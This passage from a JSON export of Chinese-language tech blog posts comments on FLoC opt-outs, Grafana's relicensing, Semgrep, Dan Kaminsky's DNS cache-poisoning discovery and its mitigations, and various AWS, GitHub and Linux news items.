href=\"https://make.wordpress.org/core/2021/04/18/proposal-treat-floc-as-a-security-concern/\">Proposal: Treat FLoC as a security concern</a>」，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上也有討論：「<a href=\"https://news.ycombinator.com/item?id=26854073\">Proposal: Treat FLoC as a security concern (make.wordpress.org)</a>」。\r\n\r\n主要的原因是正常的 WordPress 版本會在今年七月才出，會跟不上 FLoC 的進度：\r\n\r\n<blockquote>Currently, 5.8. is only scheduled for July 2021. FLoC will likely be rolling out this month.</blockquote>\r\n\r\n我自己也因為 FLoC 而又再次跳到 Brave，還遇到 <a href=\"https://chrome.google.com/webstore/detail/imgur-uploader/lcpkicdemehhmkjolekhlglljnkggfcf\">imgur Uploader</a> 套件不見 (可以參考「<a href=\"https://www.reddit.com/r/chrome/comments/mhwhmt/what_happen_to_the_imgur_uploader_extension/\">What Happen to the imgur uploader extension?</a>」)，以及有些套件無法運作的問題...",
    "title": "WordPress 對 FLoC 的對抗計畫"
  },
  {
    "id": "10129",
    "body": "<a href=\"https://grafana.com/\">Grafana</a> 家的軟體宣佈從本來的 <a href=\"https://apache.org/licenses/LICENSE-2.0\">Apache License 2.0</a> 轉換成 <a href=\"https://en.wikipedia.org/wiki/GNU_Affero_General_Public_License\">AGPLv3</a>：「<a href=\"https://grafana.com/blog/2021/04/20/grafana-loki-tempo-relicensing-to-agplv3/\">Grafana, Loki, and Tempo will be relicensed to AGPLv3</a>」。\r\n\r\n相關的討論可以在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=26877528\">Grafana, Loki, and Tempo will be relicensed to AGPLv3 (grafana.com)</a>」看到。\r\n\r\n<blockquote>Going forward, we will be relicensing our core open source projects (Grafana, Grafana Loki, and Grafana Tempo) from the Apache License 2.0 to the Affero General Public License (AGPL) v3. Plugins, agents, and certain libraries will remain Apache-licensed. You can find information in GitHub about what is being relicensed for Grafana, Loki, and Tempo.</blockquote>\r\n\r\n這應該是對 <a href=\"https://aws.amazon.com/grafana/\">Amazon Managed Service for Grafana</a> 的反擊。\r\n\r\n看起來 Grafana 7.5.3、Grafana Loki 2.2.1 以及 Grafana Tempo 0.6.0 是最後使用 Apache License 2.0 授權的版本，不確定會不會有人 fork...",
    "title": "Grafana 家的軟體改 AGPLv3"
  },
  {
    "id": "10131",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://semgrep.dev/\">Semgrep</a>」這個軟體，看名字本來還以為是 semantic grep，結果是個靜態分析工具：\r\n\r\n<blockquote>Static analysis at ludicrous speed\r\nFind bugs and enforce code standards</blockquote>\r\n\r\n專案是用 <a href=\"https://www.python.org/\">Python</a> 寫的，可以直接用 <code>pip install semgrep</code> 裝起來，然後直接下指令掃，像是在自己的專案裡面執行，這邊用的 ruleset 是 <a href=\"https://semgrep.dev/p/r2c-ci\">r2c-ci</a>：\r\n\r\n<pre>\r\nsemgrep --config=p/ci .\r\n</pre>\r\n\r\n官方網站上的截圖看起來也整的不錯：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qef13R2.webp\" /><img src=\"https://i.gslin.com/imgur/qef13R2.png\" alt=\"\" /></picture>\r\n\r\n可以自己跑或是掛進 CI 裡面跑...",
    "title": "用 Semgrep 掃一些安全性的問題"
  },
  {
    "id": "10132",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到震驚的消息，<a href=\"https://en.wikipedia.org/wiki/Dan_Kaminsky\">Dan Kaminsky</a> 過世：「<a href=\"https://news.ycombinator.com/item?id=26925044\">Dan Kaminsky has died (twitter.com/marcwrogers)</a>」，目前還沒看到過世的原因...\r\n\r\nDan Kaminsky 最有名的「成果」應該是在 2008 年發現當時大多數的 DNS resolver 軟體實做有問題，可以被 <a href=\"https://en.wikipedia.org/wiki/DNS_spoofing\">DNS cache poisoning</a> 攻擊，當年我有寫下來提到，但寫的很短：「<a href=\"https://blog.gslin.org/archives/2008/07/13/1540/dns-%E4%BC%BA%E6%9C%8D%E5%99%A8%E5%AE%89%E5%85%A8%E6%80%A7%E6%9B%B4%E6%96%B0/\">DNS 伺服器安全性更新</a>」。\r\n\r\n攻擊手法是先發一個 DNS query 到 DNS resolver，然後馬上再送出一個偽造的 DNS response packet 給 DNS resolver 收，運氣好的話這個偽造的結果就會被 cache 起來。\r\n\r\n記得當年的 <code>168.95.1.1</code> 與 <code>168.95.192.1</code> 沒有太直接受到影響 (相較於其他的 DNS resolver)，是因為這兩個 DNS resolver 後面有 server cluster 會打散流量，所以未必能猜對去查詢時用的 DNS server 所使用的 IP address，有點類似下面提到的緩解方案 (只是沒那麼有效)。\r\n\r\n而記得後來的緩解方式是透過亂數化 source port (讓 DNS resolver 查詢時不要從 port 53 出去問)，這個方式讓攻擊機率大幅下降 (大約降到 [latex]1/2^{16}[/latex] 的機率)。\r\n\r\n後來 DNS 加上 nonce 機制再繼續壓低攻擊成功的機率 (再降一次 [latex]1/2^{16}[/latex]，變成大約 [latex]1/2^{32}[/latex])，最後則是 <a href=\"https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions\">DNSSEC</a> 的支援度逐漸普及，才解決掉這個問題。\r\n\r\n資安領域的重大損失，尤其在 DNS 這塊...",
    "title": "Dan Kaminsky 過世"
  },
  {
    "id": "10133",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到朋友提到 <code>t3</code> 系列的機器有保留七天的 CPU credit：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"zh\" dir=\"ltr\">t3 的機器可以保留七天的 CPU 點數，這設計滿有趣</p>&mdash; adaam (@adaam) <a href=\"https://twitter.com/adaam/status/1386570131954753536?ref_src=twsrc%5Etfw\">April 26, 2021</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在「<a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-credits-baseline-concepts.html\">CPU credits and baseline utilization for burstable performance instances</a>」這邊有提到，<code>t3</code>/<code>t3a</code>/<code>t4g</code> 的設計都是讓你可以塞 24h 小時的量：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xUAKsVM.webp\" /><img src=\"https://i.gslin.com/imgur/xUAKsVM.png\" alt=\"\" /></picture>\r\n\r\n這邊講的七天是這段：\r\n\r\n<blockquote>CPU credits on a running instance do not expire.\r\n\r\nFor T2, the CPU credit balance does not persist between instance stops and starts. If you stop a T2 instance, the instance loses all its accrued credits.\r\n\r\nFor T3 and T4g, the CPU credit balance persists for seven days after an instance stops and the credits are lost thereafter. If you start the instance within seven days, no credits are lost.</blockquote>\r\n\r\n開著的機器的 CPU credit 不會過期，只會到最大上限 (在同一篇文件裡面的表格有提到)，<code>t2</code> 的機器關掉後 (stop) CPU credit 就會直接消失，而 <code>t3</code>/<code>t3a</code>/<code>t4g</code> 則在關掉後會保留七天。\r\n\r\n之前沒注意到文件上的這點。\r\n\r\n另外之前在測試自己架設 <a href=\"https://sentry.io/\">Sentry</a> 時還測過 <code>t3a.medium</code> -&gt; <code>r5a.large</code> -&gt; <code>t3a.medium</code> 這樣換過去又換回來的情況，本來的 CPU credit 是可以繼續用的，看起來 CPU credit 不會因為 family type 改變就不見 (不過不確定這個是不是 undefined behavior...)。",
    "title": "Amazon EC2 的 t3/t3a/t4g 的 CPU credit 保留七天的限制"
  },
  {
    "id": "10136",
    "body": "<a href=\"https://github.com/\">GitHub</a> 的公告簡單明瞭，也不用你操作，直接在 github.io 上抵制 <a href=\"https://en.wikipedia.org/wiki/Federated_Learning_of_Cohorts\">FLoC</a>：「<a href=\"https://github.blog/changelog/2021-04-27-github-pages-permissions-policy-interest-cohort-header-added-to-all-pages-sites/\">GitHub Pages: Permissions-Policy: interest-cohort=() Header added to all pages sites</a>」，在「<a href=\"https://github.community/t/feature-request-set-http-header-to-opt-out-of-floc-in-github-pages/174978\">[Feature request] Set HTTP header to opt out of FLoC in GitHub Pages</a>」這邊有些討論，另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論也可以看一下：「<a href=\"https://news.ycombinator.com/item?id=26967903\">GitHub blocks FLoC across all of GitHub Pages (github.blog)</a>」。\r\n\r\n不過不確定為什麼 custom domain 的就不加上去，可能微軟內部的法務團隊討論出來的結果？\r\n\r\n<blockquote>All GitHub Pages sites served from the github.io domain will now have a Permissions-Policy: interest-cohort=() header set.\r\n\r\nPages sites using a custom domain will not be impacted.</blockquote>",
    "title": "GitHub 宣佈在 github.io 上抵制 FLoC"
  },
  {
    "id": "10137",
    "body": "看到 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=26968627\">Diving Deep on S3 Consistency (allthingsdistributed.com)</a>」才想到該整理一下，原文的「<a href=\"https://www.allthingsdistributed.com/2021/04/s3-strong-consistency.html\">Diving Deep on S3 Consistency</a>」是 <a href=\"https://www.amazon.com/\">Amazon</a> 的 CTO <a href=\"https://en.wikipedia.org/wiki/Werner_Vogels\">Werner Vogels</a> 花了一些篇幅描述 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 怎麼把 Eventually Consistent 變成 Strongly Consistent，當初 Amazon S3 公告時我也有寫一篇文章提到：「<a href=\"https://blog.gslin.org/archives/2020/12/02/9852/amazon-s3-%E7%8F%BE%E5%9C%A8%E8%AE%8A%E6%88%90-strong-read-after-write-consistency-%E5%95%A6/\">Amazon S3 現在變成 Strong Read-After-Write Consistency 啦...</a>」。\r\n\r\nAmazon S3 之所以會是 Eventually Consisient 是因為 Metadata Subsystem 的 cache 設計：\r\n\r\n<blockquote>Per-object metadata is stored within a discrete S3 subsystem. This system is on the data path for GET, PUT, and DELETE requests, and is responsible for handling LIST and HEAD requests. At the core of this system is a persistence tier that stores metadata. Our persistence tier uses a caching technology that is designed to be highly resilient. S3 requests should still succeed even if infrastructure supporting the cache becomes impaired. This meant that, on rare occasions, writes might flow through one part of cache infrastructure while reads end up querying another. This was the primary source of S3’s eventual consistency.</blockquote>\r\n\r\n如果要解決 Eventually Consistent，最直接的想法是拔掉 cache，但這樣對效能的影響太大，所以得在要保留 cache 的情況下設計，所以就想到用其他管道確保 cache 裡的資料狀態是正確的：\r\n\r\n<blockquote>One early consideration for delivering strong consistency was to bypass our caching infrastructure and send requests directly to the persistence layer. But this wouldn’t meet our bar for no tradeoffs on performance. We needed to keep the cache. To keep values properly synchronized across cores, CPUs implement cache coherence protocols. And that’s what we needed here: a cache coherence protocol for our metadata caches that allowed strong consistency for all requests.</blockquote>\r\n\r\n而接下來是設計一連串的邏輯確保每個 S3 object 的操作都有 serializability：\r\n\r\n<blockquote>We had introduced new replication logic into our persistence tier that acts as a building block for our at-least-once event notification delivery system and our Replication Time Control feature. This new replication logic allows us to reason about the “order of operations” per-object in S3. This is the core piece of our cache coherency protocol.</blockquote>\r\n\r\n後面又要確保這個 cache coherence 的 HA，最後要能夠驗證實做上的正確性，花的力氣比實做協定本身還多：\r\n\r\n<blockquote>These verification techniques were a lot of work. They were more work, in fact, than the actual implementation itself. But we put this rigor into the design and implementation of S3’s strong consistency because that is what our customers need.</blockquote>\r\n\r\nAmazon S3 算是 <a href=\"https://aws.amazon.com/\">AWS</a> 當初推出來的招牌，當時的 Amazon S3 底層的論文「<a href=\"https://www.allthingsdistributed.com/2007/10/amazons_dynamo.html\">Amazon's Dynamo</a>」劇烈影響了後來整個產業 (雖然論文裡面是拿 Amazon 的購物車說明)，這次的補充算是更新了原來論文的技術，告訴大家本來的 Eventually Consistent 是可以再拉到 Strongly Consistent。",
    "title": "Amazon S3 變成 Strong Consistency 背後的改善方式"
  },
  {
    "id": "10138",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://www.cloudping.co/grid\">AWS Latency Monitoring</a>」這個，看起來是常態性在所有的機房都開機器一直測試蒐集資料，就可以直接拉出來看...\r\n\r\n有常見的 p50 與 p99 資訊，對於在規劃架構的時候還蠻有用，在「<a href=\"https://github.com/mda590/cloudping.co\">mda590/cloudping.co</a>」這邊可以看到他是用 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 對 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 的 endpoint 測試。\r\n\r\n好像沒有 packet loss rate 的資訊，這個也蠻重要的...",
    "title": "AWS 區域間的連線測試"
  },
  {
    "id": "10139",
    "body": "<a href=\"https://www.kernel.org/\">Linux Kernel</a> Community 與<a href=\"http://www.umn.edu/\">明尼蘇達大學</a> (UMN) 之間的事件差不多告一段落了，整理一下裡面比較重要的事件。隔壁棚 <a href=\"https://basecamp.com/\">Basecamp</a> 的事情還在燒，讓子彈多飛一點時間，等該跑出來的內部資訊都跑出來以後再來整理...\r\n\r\nLinux Kernel 這件事情各家媒體都有整理出來，這邊拉 <a href=\"https://www.zdnet.com/\">ZDNet</a> 的文章來看：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.zdnet.com/article/greg-kroah-hartman-bans-university-of-minnesota-from-linux-development-for-deliberately-buggy-patches/\">Greg Kroah-Hartman bans University of Minnesota from Linux development for deliberately buggy patches</a></li>\r\n\t<li><a href=\"https://www.zdnet.com/article/university-of-minnesota-security-researchers-apologize-for-deliberately-buggy-linux-patches/\">University of Minnesota security researchers apologize for deliberately buggy Linux patches</a></li>\r\n\t<li><a href=\"https://www.zdnet.com/article/the-linux-foundations-demands-to-the-university-of-minnesota-for-its-bad-linux-patches/\">The Linux Foundation's demands to the University of Minnesota for its bad Linux patches security project</a></li>\r\n</ul>\r\n\r\n講一下我的感想，因為 UMN 可以從這次事件證明了 Linux Kernel Community 沒有足夠的能力抵禦這類惡意攻擊，而且 Linux Kernel Community 也沒有打算解決這件事情，如果要比喻的話，很像台灣常看到的「解決發現問題的人」。\r\n\r\n只要流程沒有改善，幾乎可以預測出之後會有政府資助的方式塞 buggy patch 進去埋洞。\r\n\r\n作為 Linux 作業系統使用者，看起來沒什麼可以改變的，只能從架構面上設計出來安全界線，讓被攻進來時有一些防線防止直接打穿到底...",
    "title": "Linux Kernel 與明尼蘇達大學之間的攻防"
  },
  {
    "id": "10140",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 昨天放出來 2021Q1 的硬碟報告：「<a href=\"https://www.backblaze.com/blog/backblaze-hard-drive-stats-q1-2021/\">Backblaze Drive Stats for Q1 2021</a>」。\r\n\r\n前半部沒有什麼意外，<a href=\"https://en.wikipedia.org/wiki/HGST\">HGST</a> 的硬碟比起其他家的看起來還是好不少。\r\n\r\n比較有趣的是首次拿 SSD 與 HDD 對決，這邊比較的對象是開機碟。可以看到如果以 2021Q1 的時間來看，SSD 的 <a href=\"https://en.wikipedia.org/wiki/Annualized_failure_rate\">AFR</a> 低不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Y52Pp0G.webp\" /><img src=\"https://i.gslin.com/imgur/Y52Pp0G.png\" alt=\"\" /></picture>\r\n\r\n拉長到 lifetime 來看也還是低不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xopYEDQ.webp\" /><img src=\"https://i.gslin.com/imgur/xopYEDQ.png\" alt=\"\" /></picture>\r\n\r\n但裡面也有提到 HDD 的最大壽命比目前 SSD 都高不少，時間看起來可能還不夠長，算是一個很初步的資料...",
    "title": "Backblaze 的 2021Q1 硬碟報告"
  },
  {
    "id": "10142",
    "body": "<a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 本來的 <a href=\"https://aws.amazon.com/lambda/edge/\">Lambda@Edge</a> 產品線拆細，多出一個 <a href=\"https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/cloudfront-functions.html\">CloudFront Functions</a>：「<a href=\"https://aws.amazon.com/blogs/aws/introducing-cloudfront-functions-run-your-code-at-the-edge-with-low-latency-at-any-scale/\">Introducing CloudFront Functions – Run Your Code at the Edge with Low Latency at Any Scale</a>」。\r\n\r\n就產品面的角度就是限制比 Lambda@Edge 多，但價錢變便宜很多。\r\n\r\n先看價錢的部份，CloudFront Functions 的價錢只有 request：\r\n\r\n<blockquote>Invocation pricing is $0.10 per 1 million invocations ($0.0000001 per request).</blockquote>\r\n\r\n而 Lambda@Edge 則是兩筆費用，光是 request 費用就是六倍：\r\n\r\n<blockquote>Request pricing is $0.60 per 1 million requests ($0.0000006 per request).</blockquote>\r\n\r\n<blockquote>Duration is calculated from the time your code begins executing until it returns or otherwise terminates. You are charged $0.00005001 for every GB-second used.</blockquote>\r\n\r\n當然，CloudFront Functions 便宜帶來的限制也不少，最主要的限制可以從最大執行時間只有 1ms，以及記憶體只能用 2MB 就可以看出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PG1Jpd7.webp\" /><img src=\"https://i.gslin.com/imgur/PG1Jpd7.png\" alt=\"\" /></picture>\r\n\r\n但這對於輕量的操作來說已經夠用了，主要就是對 HTTP header 的操作...\r\n\r\n另外比較表上看到個有趣的點「JavaScript (ECMAScript 5.1 compliant)」，這樣應該就不會是 <a href=\"https://nodejs.org/\">Node.js</a> (V8 engine)，而是其他的 JS engine？",
    "title": "CloudFront 把本來的 Lambda@Edge 產品線拆細，推出 CloudFront Functions"
  },
  {
    "id": "10143",
    "body": "RSS reader 拿來訂閱已知站台，<a href=\"https://www.nuzzel.com/\">Nuzzel</a> 則是讓 algorithm 推薦，結果剛剛收到信件通知 Nuzzel 要關閉：「<a href=\"https://blog.nuzzel.com/nuzzel-is-going-away-for-now/\">Nuzzel is going away. For Now.</a>」。\r\n\r\n記得更早前是用 <a href=\"https://en.wikipedia.org/wiki/Zite\">Zite</a> 的推薦機制，被 <a href=\"https://en.wikipedia.org/wiki/Flipboard\">Flipboard</a> 買走後就關掉了，現在又要找替代方案了...",
    "title": "Nuzzel 關閉"
  },
  {
    "id": "10144",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=27048125\">ClearURLs – automatically remove tracking elements from URLs (github.com/clearurls)</a>」這邊的討論裡面看到 <a href=\"https://twitter.com/gorhill\">gorhill</a> (<a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a> 的作者) 的<a href=\"https://news.ycombinator.com/item?id=27048125\">回文</a>，裡面提到了 uBlock Origin 目前也有支援 <code>removeparam</code> 了，而且有對應的 filter list 在維護這個表格：\r\n\r\n<ul>\r\n\t<li><a href=\"https://filters.adtidy.org/android/filters/17.txt\">https://filters.adtidy.org/android/filters/17.txt</a></li>\r\n\t<li><a href=\"https://raw.githubusercontent.com/DandelionSprout/adfilt/master/LegitimateURLShortener.txt\">https://raw.githubusercontent.com/DandelionSprout/adfilt/master/LegitimateURLShortener.txt</a></li>\r\n</ul>\r\n\r\n不過他也有提到 CleanURLs 可以清更多東西：\r\n\r\n<blockquote>Addendum: to be clear, this is not a replacement for ClearURLs. ClearURLs has more capabilities then just removing query parameters from the URLs of outgoing network requests.</blockquote>\r\n\r\n但這樣起來也不錯了 (尤其是對於只裝 uBlock Origin 的情況下)，可以訂起來...",
    "title": "用 uBlock Origin 過濾 URL 裡面的 tracking parameter"
  },
  {
    "id": "10145",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 在同一個 AZ 裡面的流量是不收費的，但如果是跨帳號的話，還是要當作 inter-AZ 流量 (收 USD$0.01/GB 的費用)，現在則是宣佈不用了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/05/amazon-vpc-announces-pricing-change-for-vpc-peering/\">Amazon VPC Announces Pricing Change for VPC Peering</a>」。\r\n\r\n要注意的是不同帳號的 <code>a</code> 不一定相同 (像是 <code>us-east-1a</code> 在不同帳號對應到的實際 AZ 不同)，得透過 AWS 提供的資料確認底層實際的 AZ 是哪個。\r\n\r\n回朔到這個月月初生效：\r\n\r\n<blockquote>Starting May 1st 2021, all data transfer over a VPC Peering connection that stays within an Availability Zone (AZ) is now free. All data transfer over a VPC Peering connection that crosses Availability Zones will continue to be charged at the standard in-region data transfer rates. You can use the Availability Zone-ID to uniquely and consistently identify an Availability Zone across different AWS accounts.</blockquote>",
    "title": "AWS 同一區的 VPC Peering 流量不收費了"
  },
  {
    "id": "10147",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 在印度與亞太區降價：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/05/cloudfront-price-cut-india-apac/\">Amazon CloudFront announces price cuts in India and Asia Pacific regions</a>」，回朔至這個月月初生效：\r\n\r\n<blockquote>Amazon CloudFront announces price cuts of up to 36% in India and up to 20% in the Asia Pacific region (Hong Kong, Indonesia, Philippines, Singapore, South Korea, Taiwan, &amp; Thailand) for Regional Data Transfer Out to Internet rates. The new CloudFront prices in these regions are effective May 1st, 2021.</blockquote>\r\n\r\n比了一下現在的「<a href=\"https://aws.amazon.com/cloudfront/pricing/\">Amazon CloudFront Pricing</a>」與 Internet Archive 上的「<a href=\"https://web.archive.org/web/20210425164615/https://aws.amazon.com/cloudfront/pricing/\">Amazon CloudFront Pricing</a>」，看起來 First 10TB、Next 40TB、Next 100TB 與 Next 350TB 的部份都有降，更多的部份則是維持原價。\r\n\r\n對一般簡單用的人來說，主要是落在 First 10TB 這個區間，亞太區的每 GB 單價從 USD$0.14 降到 USD$0.12，不無小補，而有夠大的量的單位應該都去談 commit &amp; discount 了...",
    "title": "CloudFront 的印度與亞太區降價"
  },
  {
    "id": "10148",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 推出了 Tip Jar，也就是打賞功能：「<a href=\"https://blog.twitter.com/en_us/topics/product/2021/introducing-tip-jar.html\">Introducing Tip Jar</a>」。\r\n\r\n支援多種支付方式，包括 <a href=\"https://bandcamp.com/\">Bandcamp</a>、<a href=\"https://www.patreon.com/\">Patreon</a> 這種創作者平台，另外也支援 <a href=\"https://cash.app/\">Cash App</a>、<a href=\"https://www.paypal.com/\">PayPal</a>、<a href=\"https://venmo.com/\">Venmo</a> 這些一般性的金流平台。也因為實際上的金流不通過 Twitter 本身，所以就只有金流平台會收取的手續費：\r\n\r\n<blockquote>The services* you can add today include Bandcamp, Cash App, Patreon, PayPal and Venmo. Twitter takes no cut.</blockquote>\r\n\r\n看起來像是帶去其他 app 而已，所以不會有 <a href=\"https://www.apple.com/ios/\">iOS</a> 與 <a href=\"https://www.android.com/\">Android</a> 的 30% 或是 15% 的問題。",
    "title": "Twitter 推出打賞功能"
  },
  {
    "id": "10149",
    "body": "在 <a href=\"https://www.redhat.com/\">Red Hat</a> 實質上廢掉 <a href=\"https://en.wikipedia.org/wiki/CentOS\">CentOS</a> 後，原來 CentOS 的人決定要再 fork 一次，弄了 <a href=\"https://rockylinux.org/\">Rocky Linux</a>，前幾天放出 RC1 了：「<a href=\"https://rockylinux.org/news/rocky-linux-8-3-rc1-release/\">Rocky Linux 8.3 RC1 Available Now</a>」。\r\n\r\n還沒下載下來測試，但我猜應該跟當初的 CentOS 差不多...\r\n\r\n文章裡面提到的贊助商不少大公司，包括 <a href=\"https://aws.amazon.com/\">AWS</a> 也在列表內，好像可以理解為什麼...\r\n\r\n另外翻到「<a href=\"https://mirrors.rockylinux.org/mirrormanager/mirrors/Rocky/8/x86_64\">Public active mirrors</a>」這頁，看到 <a href=\"https://www.fastly.com/\">Fastly</a> 居然有贊助頻寬，看起來也不需要擔心頻寬問題了。\r\n\r\n等晚點再進去看看情況... 話說回來，官網上對 Rocky Linux 的介紹真是隱晦，完全不提到 Red Hat 看起來是避免被告 (以及被搞)：\r\n\r\n<blockquote>Rocky Linux is a community enterprise operating system designed to be 100% bug-for-bug compatible with America's top enterprise Linux distribution now that its downstream partner has shifted direction. It is under intensive development by the community. Rocky Linux is led by Gregory Kurtzer, founder of the CentOS project. Release Candidate 1 is now available for testing. Contributors are asked to reach out using the communication options offered on this site.</blockquote>",
    "title": "Rocky Linux 放出 RC1 了"
  },
  {
    "id": "10150",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到好幾則都在講 <a href=\"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32471\">CVE-2021-32471</a>：\r\n\r\n<blockquote>Insufficient input validation in the Marvin Minsky 1967 implementation of the Universal Turing Machine allows program users to execute arbitrary code via crafted data. For example, a tape head may have an unexpected location after the processing of input composed of As and Bs (instead of 0s and 1s). NOTE: the discoverer states \"this vulnerability has no real-world implications.\"</blockquote>\r\n\r\n等下，今天不是四月第一天啊，現在已經五月多了啊...",
    "title": "CVE-2021-32471 發了一個 1967 年電腦的安全性漏洞？"
  },
  {
    "id": "10151",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 開了 <code>us-east-1</code> 的 Local Zone 了，包括波士頓、邁阿密與休士頓：「<a href=\"https://aws.amazon.com/blogs/aws/aws-local-zones-are-now-open-in-boston-miami-and-houston/\">AWS Local Zones Are Now Open in Boston, Miami, and Houston</a>」。\r\n\r\n<blockquote>Last December I told you about our plans to launch a total of fifteen AWS Local Zones in 2021, and also announced the preview of the Local Zones in Boston, Miami, and Houston. Today I am happy to announce that these three Local Zones are now ready to host your production workloads, joining the existing pair of Local Zones in Los Angeles.</blockquote>\r\n\r\n<blockquote>The parent region for all three of these zones is US East (N. Virginia).</blockquote>\r\n\r\n在「<a href=\"https://aws.amazon.com/about-aws/global-infrastructure/localzones/features/\">AWS Local Zones features</a>」這邊可以看到 local zone 並不是所有服務都有，主要是提供 computing 能力，不過連 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB</a> 都沒有就有點...\r\n\r\n不清楚是不是因為 <code>us-east-1</code> 真的很大，所以要透過 local zone 提供擴張... 這些區域對 <code>us-east-1</code> 北維吉尼亞的 latency 不算低，找機會玩一下確認 local zone 的情況好了...",
    "title": "AWS us-east-1 的 Local Zone 開了：波士頓、邁阿密與休士頓"
  },
  {
    "id": "10153",
    "body": "<a href=\"https://github.com/\">GitHub</a> 宣佈支援使用 security key 的 SSH key 操作了：「<a href=\"https://github.blog/2021-05-10-security-keys-supported-ssh-git-operations/\">Security keys are now supported for SSH Git operations</a>」。\r\n\r\n也就是需要 SSH key + security key 才有辦法認證，只有拿到 SSH key 或是 security key 都是沒有辦法認證過。\r\n\r\n目前官方支援 <code>ecdsa-sk</code> 與 <code>ed25519-sk</code>：\r\n\r\n<blockquote>Now you can use two additional key types: ecdsa-sk and ed25519-sk, where the “sk” suffix is short for “security key.”</blockquote>\r\n\r\n不過在 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 20.04 下用預設的系統只能支援 <code>ecdsa-sk</code>，因為 <code>ed25519-sk</code> 會遇到類似「<a href=\"https://github.com/Yubico/libfido2/issues/144\">ed25519 problem with libressl</a>」這邊的問題，就算你用的是 <a href=\"https://www.openssl.org/\">OpenSSL</a>。\r\n\r\n然後生完 key 後在 <code>~/.ssh/config</code> 裡面指定對 <code>github.com</code> 使用這把 key：\r\n\r\n<pre>\r\nHost github.com\r\n    IdentityFile ~/.ssh/id_ecdsa_sk\r\n</pre>\r\n\r\n接下來操作的時候就會需要碰一下 security key 了。",
    "title": "GitHub 支援 SSH 使用 Security Key 了"
  },
  {
    "id": "10154",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 Incident Manager 服務，掛在 <a href=\"https://aws.amazon.com/systems-manager/\">AWS Systems Manager</a> 下，這類似於 <a href=\"https://www.pagerduty.com/\">PagerDuty</a> 這類的服務：「<a href=\"https://aws.amazon.com/blogs/aws/resolve-it-incidents-faster-with-incident-manager-a-new-capability-of-aws-systems-manager/\">Resolve IT Incidents Faster with Incident Manager, a New Capability of AWS Systems Manager</a>」。\r\n\r\n比較特別的是費用的部份，可以參考「<a href=\"https://aws.amazon.com/systems-manager/pricing/\">AWS Systems Manager pricing</a>」這邊的資料，他是依照 incident 的次數算錢，每個 incident 算 USD$7，另外加上對應的 SMS 或是 voice message 費用。\r\n\r\n回頭來看 PagerDuty 的部份，費用的部份是以人頭計算，Business Plan 是 USD$39/user/month，然後已經包括括無限數量的 SMS 通知了。\r\n\r\n功能上看起來 PagerDuty 還是比較好，Incident Manager 如果要把外部服務拉進來的話看起來得透過 <a href=\"https://aws.amazon.com/eventbridge/\">EventBridge</a> 去接，麻煩不少...",
    "title": "AWS 推出 Incident Manager 服務"
  },
  {
    "id": "10156",
    "body": "這次 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的機器又推出一些新規格了：「<a href=\"https://aws.amazon.com/blogs/awsforsap/amazon-ec2-high-memory-instances-now-available-for-on-demand-usage/\">Amazon EC2 High Memory Instances now available for on-demand usage</a>」。\r\n\r\n然後每次推這些機器的時候都會提到 <a href=\"https://en.wikipedia.org/wiki/SAP_HANA\">SAP HANA</a>，都沒有其他的例子可以說... 話說業界就只剩下這套系統是完全都沒在考慮分散式架構嗎 XDDD (完全沒用過)\r\n\r\n<blockquote>SAP customers continue to leverage AWS as their platform of choice and innovation. Some are in the early stages of their SAP cloud journeys and are focused on executing their migration. Others have hardened their SAP systems on AWS and are innovating around their core business processes with advanced AWS services.</blockquote>\r\n\r\n另外他有提到 24TB 的機器，在 <a href=\"https://aws.amazon.com/ec2/instance-types/\">Amazon EC2 Instance Types</a> 這邊可以翻到 <code>u-24tb1.metal</code>：\r\n\r\n<blockquote>In 2018, we released High Memory Instances in response, which now offer up to 24TB of memory in a single instance.</blockquote>\r\n\r\n不過你會發現在 <a href=\"https://aws.amazon.com/ec2/pricing/on-demand/\">Amazon EC2 On-Demand Pricing</a> 這邊翻不到 24TB 的價錢，先前在「<a 